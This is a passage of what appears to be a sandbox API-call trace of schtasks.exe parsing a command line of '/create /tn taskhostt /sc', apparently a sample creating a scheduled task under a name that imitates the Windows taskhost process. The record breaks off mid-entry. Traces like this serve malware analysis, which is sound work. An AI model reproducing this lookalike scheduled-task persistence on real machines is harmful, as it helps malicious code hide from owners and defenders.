0x1388c3e [0142.321] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x29fd68 | out: lpPerformanceCount=0x29fd68*=2062118412343) returned 1 [0142.321] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0142.321] __set_app_type (_Type=0x1) [0142.321] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0142.322] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0142.323] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0142.323] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0142.323] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0142.323] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0142.323] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0142.323] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0142.324] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0142.324] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0142.324] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0142.324] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0142.324] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0142.325] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0142.325] WinSqmIsOptedIn () returned 0x0 [0142.325] GetProcessHeap () returned 0x420000 [0142.325] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43b990 [0142.325] SetLastError (dwErrCode=0x0) [0142.326] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0142.326] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0142.326] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0142.326] VerifyVersionInfoW (in: lpVersionInformation=0x29f520, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x29f520) returned 1 [0142.326] GetProcessHeap () returned 0x420000 [0142.326] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43b9b0 [0142.326] lstrlenW (lpString="") returned 0 [0142.326] GetProcessHeap () returned 0x420000 [0142.326] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x2) returned 0x43b9d0 [0142.326] GetProcessHeap () returned 0x420000 [0142.326] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435930 [0142.326] GetProcessHeap () returned 0x420000 [0142.326] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43b9f0 [0142.326] GetProcessHeap () returned 0x420000 [0142.326] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435960 [0142.326] GetProcessHeap () returned 0x420000 [0142.326] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435990 [0142.326] GetProcessHeap () returned 0x420000 [0142.326] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x4359c0 [0142.326] GetProcessHeap () returned 0x420000 [0142.327] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x4359f0 [0142.327] GetProcessHeap () returned 0x420000 [0142.327] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43ba10 [0142.327] GetProcessHeap () returned 0x420000 [0142.327] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435a20 [0142.327] GetProcessHeap () returned 0x420000 [0142.327] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435a50 [0142.327] GetProcessHeap () returned 0x420000 [0142.327] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435a80 [0142.327] GetProcessHeap () returned 0x420000 [0142.327] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435ab0 [0142.327] GetProcessHeap () returned 0x420000 [0142.327] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43ba30 [0142.327] GetProcessHeap () returned 0x420000 [0142.327] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435ae0 [0142.327] GetProcessHeap () returned 0x420000 [0142.327] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435b10 [0142.327] GetProcessHeap () returned 0x420000 [0142.328] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435b40 [0142.328] GetProcessHeap () returned 0x420000 [0142.328] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435b70 [0142.328] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0142.328] SetLastError (dwErrCode=0x0) [0142.328] GetProcessHeap () returned 0x420000 [0142.328] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435ba0 [0142.328] GetProcessHeap () returned 0x420000 [0142.328] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435bd0 [0142.328] GetProcessHeap () returned 0x420000 [0142.328] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435c00 [0142.328] GetProcessHeap () returned 0x420000 [0142.328] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435c30 [0142.328] GetProcessHeap () returned 0x420000 [0142.328] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435c60 [0142.329] GetProcessHeap () returned 0x420000 [0142.329] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43ba50 [0142.329] _memicmp (_Buf1=0x43ba50, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.329] GetProcessHeap () returned 0x420000 [0142.329] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x208) returned 0x43bbf0 [0142.329] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x43bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0142.329] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0142.332] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0142.332] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0142.333] GetProcessHeap () returned 0x420000 [0142.333] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x74e) returned 0x43c1a0 [0142.333] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0142.333] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x43c1a0 | out: lpData=0x43c1a0) returned 1 [0142.334] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0142.334] VerQueryValueW (in: pBlock=0x43c1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29f608, puLen=0x29f670 | out: lplpBuffer=0x29f608*=0x43c53c, puLen=0x29f670) returned 1 [0142.337] _memicmp (_Buf1=0x43ba50, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.337] _vsnwprintf (in: _Buffer=0x43bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29f5e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0142.337] VerQueryValueW (in: pBlock=0x43c1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29f678, puLen=0x29f668 | out: lplpBuffer=0x29f678*=0x43c368, puLen=0x29f668) returned 1 [0142.337] lstrlenW (lpString="schtasks.exe") returned 12 [0142.337] lstrlenW (lpString="schtasks.exe") returned 12 [0142.337] lstrlenW (lpString=".EXE") returned 4 [0142.338] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0142.339] lstrlenW (lpString="schtasks.exe") returned 12 [0142.339] lstrlenW (lpString=".EXE") returned 4 [0142.339] _memicmp (_Buf1=0x43ba50, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.339] lstrlenW (lpString="schtasks") returned 8 [0142.339] GetProcessHeap () returned 0x420000 [0142.339] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x435d50 [0142.339] GetProcessHeap () returned 0x420000 [0142.339] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cab0 [0142.339] GetProcessHeap () returned 0x420000 [0142.339] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cae0 [0142.339] GetProcessHeap () returned 0x420000 [0142.339] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cb10 [0142.339] GetProcessHeap () returned 0x420000 [0142.340] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43ba70 [0142.340] _memicmp (_Buf1=0x43ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.340] GetProcessHeap () returned 0x420000 [0142.340] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xa0) returned 0x43bff0 [0142.340] GetProcessHeap () returned 0x420000 [0142.340] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cb40 [0142.340] GetProcessHeap () returned 0x420000 [0142.340] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cb70 [0142.340] GetProcessHeap () returned 0x420000 [0142.340] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cba0 [0142.340] GetProcessHeap () returned 0x420000 [0142.340] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43ba90 [0142.340] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.340] GetProcessHeap () returned 0x420000 [0142.340] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x200) returned 0x43d280 [0142.340] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0142.341] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0142.341] GetProcessHeap () returned 0x420000 [0142.341] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x30) returned 0x437a50 [0142.341] _vsnwprintf (in: _Buffer=0x43bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29f5e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0142.341] GetProcessHeap () returned 0x420000 [0142.341] GetProcessHeap () returned 0x420000 [0142.341] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43c1a0) returned 1 [0142.341] GetProcessHeap () returned 0x420000 [0142.341] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43c1a0) returned 0x74e [0142.342] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43c1a0 | out: hHeap=0x420000) returned 1 [0142.342] SetLastError (dwErrCode=0x0) [0142.342] GetThreadLocale () returned 0x409 [0142.342] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.342] lstrlenW (lpString="?") returned 1 [0142.342] GetThreadLocale () returned 0x409 [0142.342] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.342] lstrlenW (lpString="create") returned 6 [0142.342] GetThreadLocale () returned 0x409 [0142.342] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.343] lstrlenW (lpString="delete") returned 6 [0142.343] GetThreadLocale () returned 0x409 [0142.343] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.343] lstrlenW (lpString="query") returned 5 [0142.343] GetThreadLocale () returned 0x409 [0142.343] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.343] lstrlenW (lpString="change") returned 6 [0142.343] GetThreadLocale () returned 0x409 [0142.343] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.343] lstrlenW (lpString="run") returned 3 [0142.343] GetThreadLocale () returned 0x409 [0142.343] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.343] lstrlenW (lpString="end") returned 3 [0142.343] GetThreadLocale () returned 0x409 [0142.343] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.343] lstrlenW (lpString="showsid") returned 7 [0142.343] GetThreadLocale () returned 0x409 [0142.343] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.343] SetLastError (dwErrCode=0x0) [0142.344] SetLastError (dwErrCode=0x0) [0142.344] lstrlenW (lpString="/create") returned 7 [0142.344] lstrlenW (lpString="-/") returned 2 [0142.344] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.344] lstrlenW (lpString="?") returned 1 [0142.344] lstrlenW (lpString="?") returned 1 [0142.344] GetProcessHeap () returned 0x420000 [0142.344] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43c1a0 [0142.344] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.344] GetProcessHeap () returned 0x420000 [0142.344] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0xa) returned 0x43c1c0 [0142.344] lstrlenW (lpString="create") returned 6 [0142.344] GetProcessHeap () returned 0x420000 [0142.344] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43c1e0 [0142.344] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.344] GetProcessHeap () returned 0x420000 [0142.344] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x14) returned 0x43c200 [0142.345] _vsnwprintf (in: _Buffer=0x43c1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|?|") returned 3 [0142.345] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|create|") returned 8 [0142.345] lstrlenW (lpString="|?|") returned 3 [0142.345] lstrlenW (lpString="|create|") returned 8 [0142.345] SetLastError (dwErrCode=0x490) [0142.345] lstrlenW (lpString="create") returned 6 [0142.345] lstrlenW (lpString="create") returned 6 [0142.345] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.345] GetProcessHeap () returned 0x420000 [0142.345] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43c1c0) returned 1 [0142.345] GetProcessHeap () returned 0x420000 [0142.345] RtlReAllocateHeap (Heap=0x420000, Flags=0xc, Ptr=0x43c1c0, Size=0x14) returned 0x43c220 [0142.345] lstrlenW (lpString="create") returned 6 [0142.345] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.345] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|create|") returned 8 [0142.345] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|create|") returned 8 [0142.345] lstrlenW (lpString="|create|") returned 8 [0142.345] lstrlenW (lpString="|create|") returned 8 [0142.345] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0142.345] SetLastError (dwErrCode=0x0) [0142.346] SetLastError (dwErrCode=0x0) [0142.346] SetLastError (dwErrCode=0x0) [0142.346] lstrlenW (lpString="/tn") returned 3 [0142.346] lstrlenW (lpString="-/") returned 2 [0142.346] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.346] lstrlenW (lpString="?") returned 1 [0142.346] lstrlenW (lpString="?") returned 1 [0142.346] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.346] lstrlenW (lpString="tn") returned 2 [0142.346] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.346] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|?|") returned 3 [0142.346] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tn|") returned 4 [0142.346] lstrlenW (lpString="|?|") returned 3 [0142.346] lstrlenW (lpString="|tn|") returned 4 [0142.346] SetLastError (dwErrCode=0x490) [0142.346] lstrlenW (lpString="create") returned 6 [0142.346] lstrlenW (lpString="create") returned 6 [0142.346] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.346] lstrlenW (lpString="tn") returned 2 [0142.346] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.346] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|create|") returned 8 [0142.346] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tn|") returned 4 [0142.346] lstrlenW (lpString="|create|") returned 8 [0142.346] lstrlenW (lpString="|tn|") returned 4 [0142.346] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0142.346] SetLastError (dwErrCode=0x490) [0142.347] lstrlenW (lpString="delete") returned 6 [0142.347] lstrlenW (lpString="delete") returned 6 [0142.347] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.347] lstrlenW (lpString="tn") returned 2 [0142.347] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.347] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|delete|") returned 8 [0142.347] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tn|") returned 4 [0142.347] lstrlenW (lpString="|delete|") returned 8 [0142.347] lstrlenW (lpString="|tn|") returned 4 [0142.347] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0142.347] SetLastError (dwErrCode=0x490) [0142.347] lstrlenW (lpString="query") returned 5 [0142.347] lstrlenW (lpString="query") returned 5 [0142.347] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.347] lstrlenW (lpString="tn") returned 2 [0142.347] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.347] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|query|") returned 7 [0142.347] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tn|") returned 4 [0142.347] lstrlenW (lpString="|query|") returned 7 [0142.347] lstrlenW (lpString="|tn|") returned 4 [0142.347] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0142.347] SetLastError (dwErrCode=0x490) [0142.347] lstrlenW (lpString="change") returned 6 [0142.347] lstrlenW (lpString="change") returned 6 [0142.347] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.348] lstrlenW (lpString="tn") returned 2 [0142.348] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.348] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|change|") returned 8 [0142.348] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tn|") returned 4 [0142.348] lstrlenW (lpString="|change|") returned 8 [0142.348] lstrlenW (lpString="|tn|") returned 4 [0142.348] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0142.348] SetLastError (dwErrCode=0x490) [0142.348] lstrlenW (lpString="run") returned 3 [0142.348] lstrlenW (lpString="run") returned 3 [0142.348] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.348] lstrlenW (lpString="tn") returned 2 [0142.348] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.348] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|run|") returned 5 [0142.348] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tn|") returned 4 [0142.348] lstrlenW (lpString="|run|") returned 5 [0142.348] lstrlenW (lpString="|tn|") returned 4 [0142.348] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0142.348] SetLastError (dwErrCode=0x490) [0142.348] lstrlenW (lpString="end") returned 3 [0142.348] lstrlenW (lpString="end") returned 3 [0142.348] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.348] lstrlenW (lpString="tn") returned 2 [0142.349] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.349] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|end|") returned 5 [0142.349] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tn|") returned 4 [0142.349] lstrlenW (lpString="|end|") returned 5 [0142.349] lstrlenW (lpString="|tn|") returned 4 [0142.349] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0142.349] SetLastError (dwErrCode=0x490) [0142.349] lstrlenW (lpString="showsid") returned 7 [0142.349] lstrlenW (lpString="showsid") returned 7 [0142.349] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.349] GetProcessHeap () returned 0x420000 [0142.349] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43c220) returned 1 [0142.349] GetProcessHeap () returned 0x420000 [0142.349] RtlReAllocateHeap (Heap=0x420000, Flags=0xc, Ptr=0x43c220, Size=0x16) returned 0x43c220 [0142.350] lstrlenW (lpString="tn") returned 2 [0142.350] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.350] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|showsid|") returned 9 [0142.350] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|tn|") returned 4 [0142.350] lstrlenW (lpString="|showsid|") returned 9 [0142.350] lstrlenW (lpString="|tn|") returned 4 [0142.350] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0142.350] SetLastError (dwErrCode=0x490) [0142.350] SetLastError (dwErrCode=0x490) [0142.350] SetLastError (dwErrCode=0x0) [0142.350] lstrlenW (lpString="/tn") returned 3 [0142.350] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0142.350] SetLastError (dwErrCode=0x490) [0142.350] SetLastError (dwErrCode=0x0) [0142.350] lstrlenW (lpString="/tn") returned 3 [0142.350] GetProcessHeap () returned 0x420000 [0142.350] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x8) returned 0x43c1c0 [0142.351] GetProcessHeap () returned 0x420000 [0142.351] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cbd0 [0142.351] SetLastError (dwErrCode=0x0) [0142.351] SetLastError (dwErrCode=0x0) [0142.351] lstrlenW (lpString="taskhostt") returned 9 [0142.351] lstrlenW (lpString="-/") returned 2 [0142.351] StrChrIW (lpStart="-/", wMatch=0x74) returned 0x0 [0142.351] SetLastError (dwErrCode=0x490) [0142.351] SetLastError (dwErrCode=0x490) [0142.351] SetLastError (dwErrCode=0x0) [0142.351] lstrlenW (lpString="taskhostt") returned 9 [0142.351] StrChrIW (lpStart="taskhostt", wMatch=0x3a) returned 0x0 [0142.351] SetLastError (dwErrCode=0x490) [0142.351] SetLastError (dwErrCode=0x0) [0142.351] lstrlenW (lpString="taskhostt") returned 9 [0142.351] GetProcessHeap () returned 0x420000 [0142.351] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x14) returned 0x43d4c0 [0142.351] GetProcessHeap () returned 0x420000 [0142.352] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cc00 [0142.352] SetLastError (dwErrCode=0x0) [0142.352] SetLastError (dwErrCode=0x0) [0142.352] lstrlenW (lpString="/sc") returned 3 [0142.352] lstrlenW (lpString="-/") returned 2 [0142.352] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.352] lstrlenW (lpString="?") returned 1 [0142.352] lstrlenW (lpString="?") returned 1 [0142.352] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.352] lstrlenW (lpString="sc") returned 2 [0142.352] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.352] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|?|") returned 3 [0142.352] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|sc|") returned 4 [0142.352] lstrlenW (lpString="|?|") returned 3 [0142.352] lstrlenW (lpString="|sc|") returned 4 [0142.353] SetLastError (dwErrCode=0x490) [0142.353] lstrlenW (lpString="create") returned 6 [0142.353] lstrlenW (lpString="create") returned 6 [0142.353] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.353] lstrlenW (lpString="sc") returned 2 [0142.353] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.353] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|create|") returned 8 [0142.353] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|sc|") returned 4 [0142.353] lstrlenW (lpString="|create|") returned 8 [0142.353] lstrlenW (lpString="|sc|") returned 4 [0142.353] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0142.353] SetLastError (dwErrCode=0x490) [0142.353] lstrlenW (lpString="delete") returned 6 [0142.353] lstrlenW (lpString="delete") returned 6 [0142.353] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.353] lstrlenW (lpString="sc") returned 2 [0142.354] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.354] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|delete|") returned 8 [0142.354] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|sc|") returned 4 [0142.354] lstrlenW (lpString="|delete|") returned 8 [0142.354] lstrlenW (lpString="|sc|") returned 4 [0142.354] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0142.354] SetLastError (dwErrCode=0x490) [0142.354] lstrlenW (lpString="query") returned 5 [0142.354] lstrlenW (lpString="query") returned 5 [0142.354] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.354] lstrlenW 